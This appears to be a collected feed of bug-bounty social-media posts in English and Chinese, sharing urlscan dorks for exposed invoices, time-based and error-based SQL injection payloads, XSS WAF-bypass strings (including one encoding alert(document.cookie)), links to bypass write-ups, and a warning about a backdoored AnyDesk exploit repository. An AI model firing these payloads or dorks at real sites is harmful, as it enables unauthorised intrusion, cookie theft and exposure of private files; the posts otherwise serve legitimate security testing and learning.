You can also use these awesome Urlscan dorks to find publicly exposed invoices, PDFs, ZIP files, and other sensitive files belonging to your target domain. page.mimeType:"application/pdf" AND page.url:invoice target.com AND page.mimeType:"application/pdf" AND page.url:invoice apple.* AND page.mimeType:"application/zip" If you want to learn more powerful urlscan dorks and master urlscan search, watch this video: piped.video/I-J5Ht9goyc

这篇文章记录了我挖金融行业漏洞的一些思考和案例，打破一些师傅对金融行业只有逻辑漏洞的偏见。 blog.chain0x0.com/blog/%E9%8…

Just dropped a new video on Web Cache Deception to Account Takeover packed with powerful bypass techniques. Don’t miss it! piped.video/Epzi1fWwdKk?si=UPbF…

一次springboot拦截器绕过引发对RequestAttribute的思考 blog.chain0x0.com/blog/Sprin…

java的 xxe jdk版本稍微高一点的读不出换行和特殊字符 可以用我这个搭建ftp服务 在路径那里当参数去读 blog.chain0x0.com/blog/java%…

Discovered a very interesting path based SQLi yesterday. Injected: /‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/ → No delay /page/‘XOR(if(now()=sysdate(),sleep(8),0))XOR’111/test.test triggered delay. Same payload, different results. Here's why👇 1/4 #BugBounty #SQLi #WebSec

95% of self-XSS vulns are exploitable. In cases of OAuth or a page containing sensitive information + login/logout CSRF -> ATO or info leak. I’ve previously tweeted a white box challenge based on a real-world example, you can practice with it :]

Bug Bounty Tip You can use these tricks to bypass the `alert` block by XSS WAF - (function(x){this[x+`ert`](1)})`al` - window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2) - document['default'+'View'][`\u0061lert`](3)

I noticed someone released a tool for CVE-2025-4123 in Grafana. But let me clear this up. it's not as simple as adding a payload after /public/. That won’t exploit anything. Here's why 👇

【情报】最新AnyDesk Exploit存在后门🚨🚨🚨 刚看到我就在想，哎哟AnyDesk出远程命令执行漏洞了🤯 仔细一看，该Exploit存在后门backdoor，请谨慎运行和编译！🧐 后门仓库地址：github.com/Yuweixn/Anydesk-E… 通过在.vbproj最后的<PropertyGroup>存放恶意荷载，如果编译该项目就会执行命令导致木马上线🧐

I've included all the proven 403 bypass techniques that consistently work in real-world scenarios. After reading this write-up you won't need to refer to any other article or video on the topic anymore..i will update more things in it soon.. osintteam.blog/the-ultimate-…

Next video Topic: WAF Bypass using proxychains in SQLMap with live bypass on cloudflare and modsecurity comming...

The article is finally out guys! I’ve written a detailed guide on XML-RPC vulnerabilities covering everything you need to know. I even sacrificed my own site to create a proper poc so you can understand it more better infosecwriteups.com/how-hack…

两个低危漏洞导致的存储xss blog.chain0x0.com/blog/%E4%B…

Sql Injection #Payload Add to your List %6c%75%33%6b%79%31%33' AND 1=CAST((SELECT version()) AS int) -- #bugbountytips #bugbounty #hackerone #SqlInjection #sqli

A XSS payload with Alert Obfuscation, for bypass RegEx filters <img src="X" onerror=top[8680439..toString(30)](1337)> <script>top[8680439..toString(30)](1337)</script> #infosec #cybersec #bugbountytip #BugBounty

xss payloads: <svg/onload='javascript:eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101,41))'>

Cloudflare bypass ☁️ Payloads: <select><​style></select> <svg onload​=alert(1)> <​/style> "><img src=x onerrora=confirm() onerror​=confirm(1)> <dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x> <svg onload​=alert&#0000000040"1")><””> #infosec #cybersec #bugbountytips

Use Vulhub to reproduce Next.js Middleware Authorization Bypass (CVE-2025-29927) github.com/vulhub/vulhub/tre… First screenshot 👉 Unauthorized and direct to login page Second screenshot 👉 Bypass